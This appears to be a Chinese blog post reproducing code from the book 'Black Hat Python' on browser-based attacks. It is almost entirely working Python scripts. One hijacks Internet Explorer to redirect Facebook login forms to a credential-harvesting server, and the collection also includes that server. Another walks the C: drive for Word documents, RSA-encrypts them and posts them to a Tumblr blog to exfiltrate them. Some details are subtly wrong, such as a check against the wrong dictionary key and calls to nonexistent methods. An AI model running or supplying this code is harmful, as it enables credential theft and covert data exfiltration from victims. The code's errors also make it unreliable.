《Python黑帽子：黑客与渗透测试编程之道》 玩转浏览器

时间：2022-11-26 18:12:24

基于浏览器的中间人攻击

#coding=utf-8

import win32com.client

import time

import urlparse

import urllib

data_receiver = "http://localhost:8080/"

target_sites = {}

target_sites["www.facebook.com"] = {

    "logout_url" : None,

    "logout_form" : "logout_form",

    "login_form_index" : 0,

    "owned" : False

}

#IE浏览器类的ID号

clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

windows = win32com.client.Dispatch(clsid)

while True:

    for browser in windows:

        url = urlparse.urlparse(browser.LocationUrl)

        if url.hostname in target_sites:

            if target_sites[url.hostname]["owned"]:

                continue

            #如果有一个URL，我们可以重定向

            if target_sites[url.hostname]["logout_url"]:

                browser.Navigate(target_sites[url.hostname]["logout_url"])

                wait_for_browser(browser)

            else:

                #检索文件中的所有元素

                full_doc = browser.Document.all

                #

                for i in full_doc:

                    try:

                        #找到退出登录的表单并提交

                        if i.id == target_sites[url.hostname]["logout_url"]:

                            i.submit()

                            wait_for_browser(browser)

                    except:

                        pass

            #现在来修改登录表单

            try:

                login_index = target_sites[url.hostname]["login_form_index"]

                login_page = urllib.quote(browser.LocationUrl)

                browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)

                target_sites[url.hostname]["owned"] = True

            except:

                pass

    time.sleep(5)

def wait_for_browser(browser):

    #等待浏览器加载完一个页面

    while browser.ReadyState != 4 and browser.ReadyState != "complete":

        time.sleep(0.1)

    return

创建接收服务器

import SimpleHTTPServer

import SocketServer

import urllib

class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):

    """docstring for CredRequestHandler"""

    def do_POST(self):

        content_length = int(self.headers['Content-Length'])

        creds = self.rfile.read(content_length).decode('utf-8')

        print creds

        site = self.path[1:]

        self.send_response(301)

        self.send_headers('Location',urllib.unquote(site))

        self.end_headers()

server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)

server.serve_forever()

利用IE的COM组件自动化技术窃取数据

keygen.py：

#!/usr/bin/python

from Crypto.PublicKey import RSA

new_key = RSA.generate(2048,e=65537)

public_key = new_key.publickey().exportKey("PEM")

private_key = new_key.exportKey("PEM")

print public_key

print private_key

decrypto.py：

#coding=utf-8

import zlib

import base64

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP  

private_key = "输入产生的公钥"  

rsakey = RSA.importKey(private_key)

rsakey = PKCS1_OAEP.new(rsakey)  

chunk_size = 256

offset = 0

decrypted = ""

encrypted = base64.b64decode(encrypted)  

while offset < len(encrypted):

    decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])

    offset += chunk_size  

#解压负载

plaintext = zlib.decompress(decrypted)  

print plaintext

这段代码用于将赖在tumblr的编码文件进行base64解码，从而形成原始的明文字符串，最后进行负载解压。

ie_exfil.py：

#coding=utf-8

import win32com.client

import os

import fnmatch

import time

import random

import zlib

from Crypto.PublicKey import RSA

from Crypto.Cipher import PKCS1_OAEP

doc_type = ".doc"

username = "lyshark"

password = ""

public_key = "公钥"

def wait_for_browser(browser):

    #等待浏览器加载完一个页面

    while browser.ReadyState != 4 and browser.ReadyState != "complete":

        time.sleep(0.1)

    return

def encrypt_string(plaintext):

    chunk_size = 256

    print "Compressing: %d bytes"%len(plaintext)

    plaintext = zlib.compress(plaintext)

    print "Encrypting %d bytes"%len(plaintext)

    rsakey = RSA.importKey(public_key)

    rsakey = PKCS1_OAEP.new(rsakey)

    encrypted = ""

    offset = 0

    while offset < len(plaintext):

        chunk = plaintext[offset:offset+chunk_size]

        if len(chunk) % chunk_size != 0:

            chunk += " " * (chunk_size - len(chunk))

        encrypted += rsakey.encrypt(chunk)

        offset += chunk_size

    encrypted = encrypted.encode("base64")

    print "Base64 encoded crypto: %d"%len(encrypted)

    return encrypted

def encrypt_post(filename):

    #打开并读取文件

    fd = open(filename,"rb")

    contents = fd.read()

    fd.close()

    encrypted_title = encrypt_string(filename)

    encrypted_body = encrypt_string(contents)

    return encrypted_title,encrypted_body

def random_sleep():

    time.sleep(random.randint(5,10))

    return

def login_to_tumblr(ie):

    #解析文档中的所有元素

    full_doc = ie.Document.all

    #迭代每个元素来查找登录表单

    for i in full_doc:

        if i.id == "signup_email":

            i.setAttribute("value",username)

        elif i.id == "signup_password":

            i.setAttribute("value",password)

    random_sleep()

    try:

        #你会遇到不同的登陆主页

        if  ie.Document.forms[0].id == "signup_form":

            ie.Document.forms[0].submit()

        else:

            ie.Document.forms[1].submit()

    except IndexError, e:

        pass

    random_sleep()

    #登陆表单是登录页面中的第二个表单

    wait_for_browser(ie)

    return

def post_to_tumblr(ie,title,post):

    full_doc = ie.Document.all

    for i in full_doc:

        if i.id == "post_one":

            i.setAttribute("value",title)

            title_box = i

            i.focus()

        elif i.id == "post_two":

            i.setAttribute("innerHTML",post)

            print "Set text area"

            i.focus()

        elif i.id == "create_post":

            print "Found post button"

            post_form = i

            i.focus()

    #将浏览器的焦点从输入主体内容的窗口上移开

    random_sleep()

    title_box.focus()

    random_sleep()

    #提交表单

    post_form.children[0].click()

    wait_for_browser(ie)

    random_sleep()

    return

def exfiltrate(document_path):

    ie = win32com.client.Dispatch("InternetExplorer.Application")

    ie.Visible = 1

    #访问tumblr站点并登录

    ie.Navigate("https://www.tumblr.com/login")

    wait_for_browser(ie)

    print "Logging in..."

    login_to_tumblr(ie)

    print "Logged in...navigating"

    ie.Navigate("https://www.tumblr.com/new/text")

    wait_for_browser(ie)

    #加密文件

    title,body = encrypt_post(document_path)

    print "Creating new post..."

    post_to_tumblr(ie,title,body)

    print "Posted!"

    #销毁IE实例

    ie.Quit()

    ie = None

    return

#用户文档检索的循环

#注意：以下这段代码的第一行没有“tab”缩进

for parent,directories,filenames in os.walk("C:\\"):

    for filename in fnmatch.filter(filenames,"*%s"%doc_type):

        document_path = os.path.join(parent,filename)

        print "Found: %s"%document_path

        exfiltrate(document_path)

        raw_input("Continue?")

代码用于捕获本地文件系统中的Word文档，并利用公钥对其进行加密，然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上

相关文章